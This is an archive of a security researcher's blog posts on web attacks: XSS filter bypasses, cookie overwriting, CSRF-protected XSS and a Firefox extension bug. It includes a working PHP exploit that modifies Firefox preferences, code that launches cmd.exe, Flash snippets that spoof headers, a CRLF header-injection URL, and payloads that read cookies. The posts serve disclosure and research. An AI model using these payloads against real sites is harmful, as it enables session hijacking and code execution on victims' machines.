Showing posts with label Security (All). Show all posts
Showing posts with label Security (All). Show all posts

Thursday, July 16, 2009

It's been a while

So it's been a while since I've posted anything here, mostly because this blog was the product of a hell of a lot of free time (aka high school), I've been going to uni full time and working part time, which hasn't left me with a lot of free time, and on top of that I figured out that if I put the same content into slides, rather than writing blog posts, I can present it at conferences (selling out++) and have a fun time doing so.

In any case, I did some presentations recently and thought I should probably put details up here.

I did a talk last November at Power of Community and XCon about the Same Origin Policy and some new ways of looking at it, where most of the new material was along the line of the GIFAR attacks Billy Rios came up with that Nate McFeters, etc, ended up presenting at BlackHat which took a lot of the wind out of my sails *shrug*, it should be interesting as it covers a lot of other things and points people in some uncommon directions, I've uploaded the paper I wrote and the slides here:

Slides
Paper

I also did a talk at RUXCON and 25c3 with Stefano Di Paola (and I even spelled his surname correctly this time! ^_^) called Attacking Rich Internet Applications, so here are some materials:

RUXCON Slides
25c3 Video Recordings

I never ended up releasing this while it worked since I didn't want to kill a bug, but if you look at the video or were at the presentation you may have seen me demonstrate an exploit for Tamper Data, the bug is almost identical to this one that I had claimed was exploitable. While my rationale in that post was incorrect (due to me testing with an old version of Tamper Data which was vulnerable in the way described), I came up with an interesting exploit for the bug in Firefox 3 which could have gained me code execution by editing about:config entries.

Here is the PoC exploit:

<?php
//This is just a PoC, have a look through about:config for any _string_ entry you would want to change
//This bug is kind of lame, but the exploit is cool, since it uses a Firefox bug to do damage (this should be unexploitable)
//Bug fires when a user graphs a malicious http request (open tamper data, graph the attack request)
header ("HTTP/1.1 200 OK<BR><B>Mime Type</B>: text/html\",event);' onMouseOut='hide_info();'><script>opener.oTamper.preferences.PREFERENCES_ROOT='';opener.oTamper.preferences.init();opener.oTamper.preferences.setString('app.update.url', 'jajaja');</script><g/='");
?>


The bug is triggerable on old Tamper Data versions where the Graph Requests functionality worked, and if you graphed the malicious request/response the exploit would set the app.update.url would be set to jajaja.

The bug works by abusing a lack of access control on any objects that extensions create in their windows (It wasn't just Tamper Data, it happened in other extensions), where it was possible to read and modify the objects, and more importantly: call their functions. When you called a function that an extension had created, it was executed in the context of the extension, namely chrome code.

It did not end up being necessary or useful for this exploits, however it was possible to call those functions and completely control all the data, etc, via calls such as opener.oTamper.whatever_function.apply(our_obj).

In any case, the access control bug died some time in the last few Firefox 3.0.X releases, but I'm not really sure which since the graphing functionality in Tamper Data hasn't been working for even longer, and it got to be too much effort to double check it.

I also did a presentation at the OWASP Australia Conference in February titled "Examining and Bypassing the IE8 XSS Filter", which might be some nice background for people, but will probably be greatly surpassed by sirdarckcat & thornmaker's upcoming Black Hat presentation. Here are the Slides.

I also did a presentation on Writing Better XSS Payloads at EUSecWest in May, however I haven't uploaded the slides since I'm trying to submit it to Hack In The Box Malaysia to have the material reach a wider audience, so unless it is rejected, you'll have to wait until then to see it... Or email me.

And that's all for now...

Thursday, September 04, 2008

IE8 XSS Filter

IE8 came out recently and a bunch of people have already commented about the limitations of the XSS Filter.

But there are a few more issues that need to be looked at. First of all, if anyone hasn't already done so, I recommend reading this post by David Ross on the architecture/implementation of the XSS Filter.

After talking Cesar Cerrudo, it became clear that we both came to the conclusion that the easiest way to have a generic bypass technique for the filter would be to attack the same-site check, and we both came to the conclusion that, if we can somehow force the user to navigate from a page on the site we want to attack to our xss, then we've bypassed the filter.

If the site is a forum, or a blog, then this becomes trivial as we're allowed to post links, however even if we cannot normally post links this is still trivial as we can inject links in our XSS as the XSS Filter doesn't stop HTML Injection, in any case read this for more details.

However, this is not the only way to force a client-side navigation. One particular issue (which is normally not considered much of a vulnerability, unless it allows xss vulns) is when an application lets users control the contents of a frame, this is often seen in the help sections of web apps. However navigation caused by an iframe seems to be considered somehow user-initiated (or something) and the same-site check is applied so that if we point a frame on a site to an xss exploit, the xss exploit will trigger.

Initially I had thought this would extend to JavaScript based redirects of the form:
document.location = "http://www.site.com/user_input";
or in the form of frame-breaking code, however this does not seem to be the case. IE attempts to determine whether a redirect was user-initiated or not and if it decides it is not user-initiated then it does not apply the same-site check and simply initiates the XSS Filter, though as with the popup blocker before it has some difficulty being correct 100% of the time, e.g. this counts as a user-initiated navigation:
<a name="x" id="x" href="http://localhost/xss.php?xss=<script>alert(7)</script>">test</a>
<script>
document.links[0].click();
</script>

However this is probably a very unrealistic issue as we need to vulnerable site to actually let the attacker create such a construct.

Furthermore HTTP Location redirects and Meta Refreshes are also not considered user navigation so filtering is always applied to those, therefore Open Redirects are pretty irrelevant to the XSS Filter.

However, Flash-based redirects do not seem to be considered redirects (which is unsurprising given that IE has no visibility into Flash files) and so any Flash-based redirects can be taken advantage of to bypass the xss filter, though if they require a user to click then it is probably simply easier to just inject a link (as described in Cesar's post)

And that's about all I could think of wrt that check :S

However, if you go read Cesar's post you'll see we now do have a method to generically bypass the IE8 XSS Filter, and it only requires an additional click from the user, anywhere on the page.

In a completely different direction, When I first read the posts that said the XSS filter was going to prevent injections into quoted JavaScript strings, my first thought was "yeah, right, let's see them try", as I had assumed they would attempt to prevent an attacker breaking out of the string, however the filter has signatures to stop the actual payload. Essentially the filter attempts to stop you from calling a JavaScript function and assigning data to sensitive attributes, so all of the following injections are filtered:
"+eval(name)+"
");eval(name+"
";location=name;//
";a.b=c;//
";a[b]=c;//

among a variety of other sensitive attributes, however this does still leave us with some limited scope for an attack that may be possible in reasonably complicated JavaScript.

We are still left with the ability to:
- Reference sensitive variables, which is esnecially useful when injecting into redirects, e.g.
"+document.cookie+"
- Conducting variable assignments to sensitive data, e.g.
";user_input=document.cookie;//
or
";user_input=sensitive_app_specific_var;//
- Make function assignments, e.g. (Note though that you can't seem to assign to some functions e.g. alert=eval doesn't seem to work)
";escape=eval;//

Also, like the meta-tag stripping attack described by the 80sec guys (awesome work btw, go 80sec!), we can strip other pieces of data (which look like xss attacks) such as frame-breaking code, redirects, etc, but note we can't strip single lines of JS as the JS block needs to be syntactically valid for it to start getting executed, so anything potentially active which acts as a security measure beyond the extent of it's own tag can be stripped.

It's also worth noting that XSS Filter doesn't strip all styles, it only strips those that would allow more styles to slip past it and styles which can execute active code (which is pretty much just expression() )

And that's all for me at the moment; if anyone's looking for an interesting area for research, see if the IE8 XSS Filter always plays nice with server-side XSS Filters, who knows, maybe being able to break the context by getting the filter to strip stuff you can get your own html to be rendered in a different context that the server-side filter didn't expect.

P.S. Take this all with a grain of salt, this has been derived through black-box testing, and as such any of the conclusions above are really just educated guesses.

P.P.S Good on David Ross and Microsoft for making a positive move forward that's going to be opt-out. Obviously everyone is going to keep attacking it and finding weaknesses, but even if this only stops the scenario where the injection is right in the body of the page, then it's a huge step forward for webappsec; if this effectively blocks injections into JavaScript strings then ASP.NET apps just got a whole lot more secure.
Though I still think the HTML-injection issue needs to be fixed, because even if it's an additional step, users are going to click around and we're just going to see attackers start utilising HTML injection

P.P.P.S. Don't forget this is based on security zones, so it can be disabled and is by default opt-in for the intranet zone, so all those local zone xss's for web servers on localhost or xss's for intranet apps are going to be largely unaffected

Sunday, July 27, 2008

XSS-ing Firefox Extensions

[EDIT]:It turns out I fail at testing things on the latest version, see comments for some more details, sorry about that Roee.[/EDIT]

Roee Hay recently posted a blog post on the Watchfire blog about an XSS bug in the Tamper Data extension (it was posted much earlier, but removed quickly; RSS is fun), however when he assessed the impact he was wrong.

The context of the window is still within the extension, and so by executing the following code you can launch an executable:



var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("C:\\WINDOWS\\system32\\cmd.exe");
file.launch();



(Code stolen from http://developer.mozilla.org/en/docs/Code_snippets:Running_applications)

But even then; I had never even heard of the Graphing functionality in Tamper Data, and given the need to actually use the functionality on a dodgy page, the chance of anyone getting owned with this seems very small to me.

Saturday, July 12, 2008

Some Random Safari Notes

I got to take a quick look at some Safari stuff at work a few days ago, and came away with a few notes that I thought might interest people about Safari:

Cross-Site Cooking works the same way as it does in Firefox 2.0, namely it works just as the RFC describes and we can set cookies for .co.uk, .com.au, etc.

HttpOnly is not supported.

Safari parses Set-Cookie headers like the RFC says, which means that cookies are comma separated (no other browsers seem to do this), which means that in ASP.NET and JSP, when you use the framework's method of setting cookies and you let the user control the value, they can inject arbitrary cookies by specifying something like ", arbitrary_name=arbitrary_value" as the cookie value.

Referers are not leaked from https to http, but are leaked from one https site to another https site.

The safari cache (at lest on windows) is an SQLite database where all the data is double hex encoded; it looks something like X'aabbccddeeff, etc, and when you strip the first two chars and decode it you get another blob which looks identical to the first one, which you then need to decode the same way and you get an XML document with the data, I wrote this dodgy PHP function to do the conversion for me: (you need to call it twice on the blob you extract from the database)

function decode_blob ($blob) {
$ret = "";
for ($i=2,$c=strlen($blob);$i<$c;$i+=2) {
$ret .= chr(hexdec ($blob[$i].$blob[$i+1]));
}
return $ret;
}


On the iPhone (emulator at least; I didn't get to use an actual iPhone), the last character of the password field is shown before you type the next one in (and untill the field loses focus); this makes sense since it's hard to type on iPhones, but it's still curious.

Safari on the iPhone (emulator, again) doesn't seem to actually close, so unless you close the emulator (I'm assuming this is equivalent to turning off your iPhone; if that's even possible), all session cookies persist.

Hope that helps someone.

Friday, July 04, 2008

Cookie Path Traversal

Not sure if anyone actually cares about this, but thought I might just throw it out here: I found out a while ago that if a server is running IIS (or something else which accepts windows-style paths), then it is possible to get cookies sent to paths that they do not belong to by using an encoded backslash to indicate a directory delimiter like this: http://www.microsoft.com/en/us/test/..%5Cdefault.aspx

It works on all the browsers I tested (latest versions of IE, Firefox, Opera & Safari).

Not really useful, maybe on the off chance that, say, you need httpOnly cookies for some reason, and you can see headers for part of a path (e.g. because there's a phpinfo page in the root, but the cookie is for /app), or whatever, supposedly this was considered a security issue by Secunia way back when you could use %2e%2e/ on all servers in all browsers: http://secunia.com/advisories/9680/ (Though I think the premise for that bug is that you can't jump pages, which is of course wrong)

Saturday, April 12, 2008

How much do you trust your DNS operator?

TechCrunch recently broke a story about Network Solutions hijacking users' unused subdomains for advertising. It seems to have only applied to people using Network Solutions for their shared hosting, and seems to have been removed now. (None of the IPs I tested on the same machine returned advertising for their non-existent subdomains) And on top of that we know that anyone who is on shared hosting is pretty easy pickings anyway, so this would seem to be a non-issue regarding security.

But Network Solutions doesn't exactly have the cleanest record in terms of ethics and there isn't anything technically stopping Network Solutions or any other company operating NS servers for your domain doing the same thing even if they're not hosting your content.

So given that this is a security blog, and definitely not an ethics blog, why am I talking about this? Because it introduces security problems.

As I talked about in previous posts about cookies, they are almost always sent to subdomains, and if your DNS operator implements something like this then all your users' cookies are being sent to your DNS operator's servers, which means that your cookies are taking two specific network paths which both have to be secure for your credentials to remain safe (three if you count that the DNS request has to be safe).

Now you may trust that your DNS provider isn't going to do anything intentionally malicious with the cookies, and are probably making the valid point that worrying about people having owned other networks being a vague and impractical threat to defend most websites against, but there is a much simpler risk involved here.

Network Solutions has made no effort to secure these pages from XSS, and why would you? They're essentially brochureware domains. Anyone who has probed a parked domain for XSS has probably seen that they have plenty of XSS holes, and the pages Network Solutions served for non-existent were the same pages that they serve on parked domains.

So after googling to find a parked Network Solutions domain, I found it was unsurprisingly trivial to XSS it via the search field.

So; how much do you trust your DNS operator?

Friday, February 22, 2008

Exploiting CSRF Protected XSS

XSS vulnerabilities which are protected by CSRF protections, are usually considered unexploitable due to the fact that we have no way of predicting the CSRF token.

However, these protections do nothing more than check that the user is first "logged in" and that the CSRF token they sent is tied to their session; nowhere in this chain of events is there a condition which states that an attacker must be forcing the victim to use their own session identifier (cookie).

If we are able to force the victim to send a request which contains the attacker's cookie, CSRF token and XSS payload, then we will pass the CSRF protection checks and have script execution.

A General Case



So how would we go about this? As I mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post, Flash (until 9,0,115,0 and not in IE) allows us to spoof the Cookie header for a single request, however this suffers from the same problem that we cannot completely over-write cookies; only add an additional Cookie header.

This is indeed a possible attack vector though; if we first make sure the user is "logged out" (and also has no value for the login cookie) either by simply waiting, using a CSRF attack to log the user out (and hoping the website also clears it's cookies), or exhausting the browser's cookie limit, we can then add our own Cookie, CSRF token and XSS payload to the request using similar Flash code e.g.

class Attack {
static function main(mc) {
var req:LoadVars = new LoadVars();
req.addRequestHeader("Cookie", "PHPSESSID=our_valid_session_id");
req.x = "y";
req.send("http://site.com/page.php?csrf_token=our_csrf_token&variable=",
"_self", "POST");
// Note: The method must be POST, and must contain
// POST data, otherwise headers don't get attached
}
}


Then the application will receive a request with our (the attacker's) session id, a valid CSRF token and our XSS payload from the victim's browser.

Of course, the problem with this is that if the user is actually logged out (which we forced, due to our inability to simply over-write the cookie or stop it being sent) and the browser no longer has the victim's cookies, the only attacks we have from this point are the other attacks mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post. And while this is not ideal, it does at least give us something other than an unexploitable XSS.

Cookie tricks


Again, with this technique we can also set a cookie for the specific path, either by having an XSS on a related subdomain or by abusing a cros-site cooking bug, and then the user will still have their original cookie intact and we can simply remove our own cookie from the user's browser once our XSS has fired.

Abusing RequestRodeo


Another case where the user would be logged out is the case where we can somehow get the cookies stripped from the user's request.

The technique I presented at 24c3 talked about abusing one such piece of software which stripped cookies; the RequestRodeo Firefox extension which was created by Martin Johns and Justus Winter which does a good job of protecting against a lot of CSRF attacks by stripping cookies from requests originating from 3rd party sites (i.e. a request going to site.com which was induced by evil.com will not have any cookies attached to it). Which is just what we need.

Of course, this is a nice place to note that this is of course a niche piece of software that doesn't really provide a valid avenue for exploitation in almost any scenario, but as I explained in my post "Understanding Cookie Security" we can also delete all a users' cookies by exhausting the browser's global limit on on the amount of cookies it will store.

Anyway, given that RequestRodeo all cookies (including the ones we are attempting to send via Flash), we still face the problem that we need to be sending a valid session identifier for which we need to be sending a valid CSRF token. We do not face this problem when we remove the user's cookies, and can use the Flash approach outlined above, but we can also use this approach, which has the added benifit of still working on everyone (not just those who are unpatched).

Anyway, one interesting feature of PHP and other frameworks is that they accept session identifiers through the URL. This has of course led to easily exploitable Session Fixation attacks; however in PHP at least, if a cookie is being sent, then the value in the URL is completely ignored.

In our case, no cookie is being sent, since it is either being stripped by RequestRodeo, or has been deleted by us, so we can simply supply our session identifier through the URL, attach our CSRF token and XSS payload and we're done, except in this case the browser still has the user's cookies, and our XSS functions like normal.

The result of this attack is the same as the above if we have deleted the cookies from the user's browser, however if we have stripped the cookies with RequestRodeo or some similar tool/technique/etc, then we have the further benifit of the user still being logged in when our XSS fires.

Other Cookie Tricks


As I wrote in my post "Understanding Cookie Security", if we have an XSS which is largely unexploitable (except via pure Session Fixation) since it is on a subdomain with no accounts, we can use it to set almost arbitrary cookies for other subdomains.

This gives us a perfect avenue, since we can set the path to only over-write cookies for our single CSRF Protected XSS page, and send the appropriate CSRF token and XSS payload for.

Self-Only CSRF Protected Persistent XSS


One case which is much simpler to exploit than the general case though, is where there are CSRF protections on the form where you submit the actual XSS, but the XSS is a persistent XSS for the user, in that it is rendered on another page (which is itself not CSRF protected, since it is used to display rather than edit data)

CAPTCHAs As CSRF Protections


CAPTCHAs are not designed to be CSRF protections, and in certain cases are bypassable.

There are essentially two (not completely broken) types of CAPTCHA systems I have seen in widespread use, one where the plaintext is simply stored in the server-side session and the captcha is included in a form like this:
<img src="captcha.php" />
The other is when a form has a hidden input tag which contains a value which is also inside the image URL, like so:
<input type="hidden" name="captcha_id" value="1234567890" />
<img src="captcha.php?id=1234567890" />


The first system is trivially bypassed for CSRF & CSRF Protected XSS attacks by simply inserting the CAPTCHA onto a page, or inside an iframe (to strip/spoof referers), and asking the user to solve it.

The second can often be trivially bypassed for CSRF & CSRF Protected XSS attacks since the id is usually not user-dependant and the CAPTCHA does not keep track of what id it sent the user. Therefore the attacker can simply retrieve the appropriate CAPTCHA, solve it, and put the answer along with the corresponding captcha id in the csrf or csrf protected xss attack.

Conclusion


So essentially if we can somehow trick the application into using an attacker's session identifier, either by altering the cookie (e.g. via subdomain tricks, Flash, injecting into Set-Cookie headers, or whatever other trick we can come up with), or by suppressing or deleting the cookie and passing the identifier through another means such as the URL, then all CSRF protected XSSs are exploitable.

However if we cannot, then we can still exploit some scenarios such as self-only CSRF protected persistent XSS if the logout/login functionality is not CSRF-protected (which very few are). And we can also bypass the semi-CSRF protection of CAPTCHAs in several cases.

Exploiting Logged Out XSS Vulnerabilities

Usually when we consider vulnerabilities which are only rendered when a user is logged out (e.g. a side bar which renders a vulnerable login form when logged out, and a menu otherwise), the known methods of attack lie in, first getting the user logged out, and then doing one of the following:

  • Extracting login information from the Password Manager

  • Modifying a client-side data store, such as cookies or Flash LSO's to create an attack which fires later when a user is logged in

  • Conducting a Session Fixation attack



Some new possibilities for attacking these vulnerabilities are:


  • Reading the Browser Cache via XSS

  • Semi-Logging the User Out



Reading the Browser Cache via XSS


Most browsers do not let you read pages which have not been explicitly cached, and where the Expires or Cache-Control headers have not been set, except Internet Explorer.

If you use the XmlHttpRequest object to make a request to a resource which has no caching information attached to it you will simply get back the cached copy which may contain sensitive information such as the person's billing details, or other juicy information you an use in other exploits.

But since security people have been parroting on about how websites need to make sure that they don't let the browser cache something because the user may be using a public computer, etc, etc, this is much less viable, however at least we now have a real reason for recommending people to not let the browser cache things.

Semi-Logging the User Out


However before we jump to the conclusion that the vulnerability is only triggered when the user is logged out let us consider what it really means to be "logged in".

To be "logged in" is to send the web application a cookie header which gets parsed by the server/web application framework (e.g. Apache/PHP), and the parsed value is associated by the application with a valid session.

So conversely, when are you "logged out"? You're logged out whenever the above series of events (plus any other steps I missed) don't fall exactly into place.

So if we start with a user who is currently logged in; instead of logging them out completely via CSRF (or just waiting until they log themselves out), the trick here is to create an exploit which fires when the browser still holds the users cookies, but the application doesn't receive those cookies exactly.

The easiest and most generic place (I found) to attack this chain is to alter what the browser sends, and therefore the server receives.

Until the latest version of Flash (which is 9,0,115,0), the following code ran properly and let us tamper with the Cookie header:

class Attack {
static function main(mc) {
var req:LoadVars = new LoadVars();
req.addRequestHeader("Cookie", "PHPSESSID=junk");
req.x = "y";
req.send("http://site.com/page.php?variable=",
"_self", "POST");
// Note: The method must be POST, and must contain
// POST data, otherwise headers don't get attached
}
}


Unfortunately this does not work in IE, since IE seems to stop plugins from playing with the Cookie headers it sends.

Furthermore, this does not actually replace the Cookie header which the browser sends, rather it forces the browser to send an additional Cookie header which would make the relevant part of the HTTP request look something like to this:

Cookie: PHPSESSID=valid_id
Cookie: PHPSESSID=junk


Which PHP (and pretty much every other Server/web application framework) would reconcile into the single PHPSESSID value of:

valid_id, PHPSESSID=junk

Which is of course not a valid session token, and the application treats the user as logged out, and our XSS executes as if the user was logged out, however since the browser still has all the cookies, so we can either steal them or get the user to perform actions on our behalf, etc.

The less generic, but still working approach is to overwrite overwrite the cookies for your particular path only, either via an XSS from a related subdomain or by abusing a cross-site cookie bug in a browser (check my last post).

Understanding Cookie Security

Whenever anyone decides to talk about XSS, one thing which is sure to pop up is the Same Origin Policy which XSS avoids by being reflected by the server. The Same Origin Policy is the security restriction which make sure that any pages trying to communicate via JavaScript are on the same protocol, domain and port. However this is misleading since it is not the weakest link that browsers have between domains.

The weakest link across domains is (for lack of a better term) the cookie policy which determines which domains can set cookies for which domains and which cookies each domain receives.

What's in a cookie


The cookies we use have several fields, including these ones I want to talk about:

  • Name

  • Value

  • Domain

  • Path

  • Expires



First, it must be noticed that the protocol restriction which is explicit in the Same Origin policy is here implicit, since cookies are an extension to HTTP, and so would only be sent for http, however the distinction between http and https is only enforced if the Secure flag is set.

Secondly, unlike the same origin policy, the cookie policy has no restrictions on ports, explicit or implicit.

And furthermore the domain check is not exact. From RFC 2109:
   Hosts names can be specified either as an IP address or a FQHN
string. Sometimes we compare one host name with another. Host A's
name domain-matches host B's if

* both host names are IP addresses and their host name strings match
exactly; or

* both host names are FQDN strings and their host name strings match
exactly; or

* A is a FQDN string and has the form NB, where N is a non-empty name
string, B has the form .B', and B' is a FQDN string. (So, x.y.com
domain-matches .y.com but not y.com.)

Note that domain-match is not a commutative operation: a.b.c.com
domain-matches .c.com, but not the reverse.


Effectively, this means that that any subdomains of a given domain can set, and is sent the cookies for that domain, i.e. news.google.com can set, and is sent the cookies for .google.com. Furthermore a second subdomain, e.g. mail.google.com can also set, and is sent the cookies for .google.com - This effectively means that by setting a cookie for google.com, news.google.com can force the user's browser to send a cookie to mail.google.com.

Resolving Conflicts


But what if two cookies of the same name should be sent to a given page, e.g. if there is a cookie called "user" set for mail.google.com and .google.com with different values, how does the browser decide which one to send?

RFC 2109 states that the cookie with the more specific path attribute must be sent first, however it does not define how to deal with two cookies which have the same path (e.g. /) but different domains. If such a conflict occurs then most (all?) browsers simply send the older cookie first.

This means that if we want to overwrite a cookie on mail.google.com from the subdomain news.google.com, and the cookie already exists, then we cannot over-write a cookie with the path value of / (or whatever the path value of the existing cookie is), but we can override it for every other path (up to the maximum number of cookies allowed per host; 50 in IE/Firefox 30 in Opera), i.e. if we pick 50 (or 30 if we want to target opera) paths on mail.google.com which encompass the directories and pages we want to overwrite the cookie for, we can simply set 50 /30 separate cookies which are all more specific than the existing cookie.

Technically the spec say that a.b.c.d cannot set a cookie for a.b.c.d or b.c.d only, none of the browsers enforce this since it breaks sites. Also, sites should not be able to set a cookie with a path attribute which would not apply to the current page, but since path boundaries are non-existant in browsers, no-one enforces this restriction either.

Cross-Site Cooking


When you think about the problem in the above scenario, you end up asking; can I use the same technique to send a cookie from news.com to mail.com? Or some similar scenario where you are going from one privately owned domain to another in a public registry. The RFC spec did foresee this to some degree and came up with the "one dot rule", i.e. that you can't set a cookie for a domain which does not have an embedded dot, e.g. you cannot set a cookie for .com or .net, etc.

What the spec did not foresee is the creation of public registries such as co.uk which do contain an embedded dot. And this is where the fun begins, since there is no easy solution for this, and the RFC has no standard solution, all the browsers pretty much did their own thing.

IE has the least interesting and most restrictive system; you cannot set a cookie for a two letter domain of the form ab.xy or (com|net|org|gov|edu).xy. Supposedly there is a key in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\SpecialDomains which will let you whitelist a domain to allow ab.xy to be set and my registry has the value "lp. rg." for that key, but I haven't been able to set a cookie for ab.pl or ab.rg so go figure.

Opera on the other hand has perhaps the most interesting system of all the browser vendors. Opera does a DNS lookup on the domain you are trying to set a cookie for, and if it finds an A record (i.e. the domain has an IP address associated with it) then you can set a cookie for it. So if ab.xy resolves to an IP then you can set a cookie for it, however this breaks if the TLD resolves, as is the case for co.tv

Firefox 2 seems to have no protections. I was unable to find any protections in the source and was able to get foobar.co.uk to set cookies for .co.uk, so ummm, why does no-one ever mention this? I have no clue....

Firefox 3 on the other hand has a huge list of all the domains for which you cannot set cookies, which you can view online here. Hurray for blacklists.....

Exhausting Cookie Limits


Another interesting aspect of cookies is that there is a limit on how many cookies can be stored, not only per host, but in total, at least in Firefox and Opera. IE doesn't seem to have such a restriction.

In Firefox the global limit is 1000 cookies with 50 per host (1.evil.com and 2.evil.com are different hosts), and on Opera it is 65536 cookies with 30 per host. IE does not seem to have a global limit but does have a host limit of 50 cookies. When you reach the global limit, both browsers go with the RFC recommendation and start deleting cookies.

Both Firefox and Opera simply choose to delete the oldest cookies, and so by setting either 1000 or 65536 cookies depending on the browser, you effectively clear the user's cookie of anything another domain has set.

Conclusion


By either setting the path attribute to point to more specific pages we can effectively overwrite cookies from other domains that we can set cookies for, which includes all the co.xy domains. Also, if we are attacking Firefox or Opera we can simply delete the existing cookies if we need to force our cookie to be sent to a path for which a cookie is already set (e.g. /).

You may also be able to induce some weird states, if you somehow manage to only delete one cookie where an applicaiton expects two, or similar, but I doubt that would be very exploitable.

Saturday, January 19, 2008

24c3 Presentation and Research

I did a presentation entitled Unusual Web Bugs at 24c3 a few weeks ago, for which you can find slides and video for on the first link.

However, since some of the things I presented were some of my own research which I haven't posted anywhere, I'll write a couple of posts about that in the next couple of days. There isn't too much though, so there's no need to get your hopes up, and if you've seen the video, you already know it.

[EDIT]P.S. Any comments or criticisms about the presentation would be greatly appreciated[/EDIT]

Thursday, July 19, 2007

Firefox gets httpOnly!

I don't usually report on things here, but since no-one else seems to be saying something, I thought I should.

Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their patch notes, and the following test case: http://kuza55.awardspace.com/httponly.php

Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value

<?php

header("Set-Cookie: hidden=value; httpOnly");

?>
<html>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>


So hurrah for the Firefox developers who made this happen, no matter how long it took.

Wednesday, July 11, 2007

Exploiting reflected XSS vulnerabilities, where user input must come through HTTP Request Headers

Contents:


1.0 Introduction
2.0 The User_Agent Header
3.0 (Known) Firefox & Safari Request Header Injection (Sometimes)
4.0 Attacking Caching Proxies
5.0 References

1.0 Introduction


Ever since Adobe patched Flash player to stop attackers spoofing certain headers[1] such as Referer, User-Agent, etc, it has been considered impossible to exploit XSS vulnerabilities where the user input is taken from a request header, e.g. when a website prints out what User-Agent a user's browser is sending, without escaping it. With the exception of the Referer header which we can control enough to exploit XSS attacks through it.

I want to showcase several ways in which we can still exploit these vulnerabilities.

2.0 The User_Agent header


If you look at how the User-Agent header is accessed in certain languages (namely PHP/Perl/Ruby/ColdFusion), you will see that the User-Agent header is not referenced as it is sent over the wire:

PHP:
$_SERVER['HTTP_USER_AGENT']

Perl:
$ENV{'HTTP_USER_AGENT'}

Ruby:
@request.user_agent

ColdFusion:
CGI.HTTP_USER_AGENT

As you can see, all of these languages use an underscore(_) instead of a hyphen(-) when accessing the data, so if we use Flash to send a User_Agent header, like this:

class Attack {
  static function main(mc) {
    var req:LoadVars = new LoadVars();

    req.addRequestHeader("User_Agent", "<script>alert(1)</script>");
    req.send("http://localhost/XSS/server.php", "_self");
  }
}


(Can be easily compiled with mtasc)

So if any of those languages mentioned above insecurely print the User-Agent header, or any header with a hyphen in it, then no matter whether it is blocked or not, it can still be injected.

The three other languages which I checked where ASP, ASP.NET and Java, and this is how the variables are accessed:

ASP/ASP.NET:
Request.ServerVariables("HTTP_USER_AGENT")

Java:
request.getHeader("user-agent");

And while ASP/ASP.NET would seem to be vulnerable, it is a known fact to the MS developers[2] that headers with underscores cannot be accessed through the HTTP_ server variables, and so they have added more methods[2], which are not vulnerable.

Java does things neatly, and so it is not vulnerable.

Note: I made a mistake originally, and it seems that Perl apps are only vulnerable when testing through browsers other than IE.

Perl seems to use the last User_Agent or User-Agent header which you send it, and since the Flash plugin in IE appends our User_Agent header before IE's User-Agent header, Perl apps cannot be exploited when the user is Using IE.

3.0 (Known) Firefox & Safari Request Header Injection (Sometimes)


Stefano Di Paola published a paper[3], where he pointed out that IE7 and Firefox both facilitated request splitting when Digest authentication was used, Comcor also pointed out that Safari was vulnerable to the same issue.

IE7 was only vulnerable through the XMLHttpRequest object, which can only be invoked from the website which has Digest authentication, so it is useless to us in this case.

Furthermore request splitting is only useful when a user is behind a proxy (See Note at end of section), so if a user is not behind a proxy, then there is a point to spoofing headers rather than conducting a request splitting attack.

Anyway, what was not mentioned in the paper was that not only can the attack be invoked through an img tag, but it can also be invoked from an iframe tag, so here is a rather contrived PoC (based on Stefano's code):

digest.php:

<?php
  header('Set-Cookie: PHPSESSID=6555');

  if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
    header('HTTP/1.0 401 Authorization Required');
    header('WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"');
  } else {
    header("Set-Cookie: PHPSESSID=0");
  }

  print $_SERVER['HTTP_USER_AGENT'];
?>


attack.php:

<html>
<body>
  <iframe src="http://user%0aUser-Agent%3a%20%3Cscript%3Ealert%281%29%3C%2Fscript%3E%0aTest%3a%20:pp@localhost/XSS/digest.php"></iframe>
</body>
</html>


Note: Its not completely true that we can't do any request splitting without a proxy; we can still split requests and have a server with multiple vhosts interpret the second split response as a normal request for a vhost other than that which has the digest authentication. Thanks to Amit Klein for pointing this out.

4.0 Attacking Cache Proxies.


Warning: This attack is rather convoluted, and a bit impractical. *shrug*

With the advent of Anti-DNS Pinning being disclosed by Martin Johns[4] and improved on by Kanatoko Anvil[5][6][7], Kanatoko also found that Flash didn't Pin DNS[8], and who together found that Java's DNS record could be spoofed if used via LiveConnect[9].

This gives us an exceptionally powerful tool - an ability to create socket connections from a victim's computer.

So by utilising the low level socket abilities of Flash or Java we can create a socket connection to the user's caching proxy server if they have one. From there we can inject requests where we provide an XSS payload in the appropriate HTTP request header, which the proxy will sometimes cache, so when we redirect the user to that page they will be served the XSSed version.

This works because cache servers are often setup to cache html pages, and they are very sometimes setup so the only thing which is matches is the URL, rather than any headers or cookies.

Here is a step-by-step explanation:

1. First of all we need to know the IP address and port the users to access their proxy - sadly this part is rather browser specific.

On IE we can use Java[10][11] to detect the proxy settings in IE (I know nothing about Java, other than the fact that its possible, and there are known methods), or by using Javascript[11] in Firefox, by reading the Firefox settings network.proxy.http and network.proxy.http_port.

2. The next step is to open a socket to the proxy server, Anti-DNS Pinning attacks are already well documented in [4][5][6][7][8][9].

3. Send a request to the caching proxy with an XSS payload in the appropriate HTTP headers on the socket you have established.

4. Send the user to the cached page. This can be improved by using Flash to send a "Cache-Control: only-if-cached" header so that the proxy is more likely to serve the XSS-ed page.

Note: I don't have any code to test this, but from when I setup squid to cache html pages, creating a socket to the page and injecting into headers, then viewing the same page in the browser worked, and so I see no reason why this shouldn't. And I have personally seen live proxy servers setup to cache html pages, and where these attacks are possible, so while I'm not sure how common such setups are, they definitely exist.

5.0 References



[1] "Forging HTTP request headers with Flash", Amit Klein, July 2006
http://www.securityfocus.com/archive/1/441014

[2] "HOWTO: Retrieve Request Headers using ISAPI, ASP, and ASP.Net", David Wang, April 2006
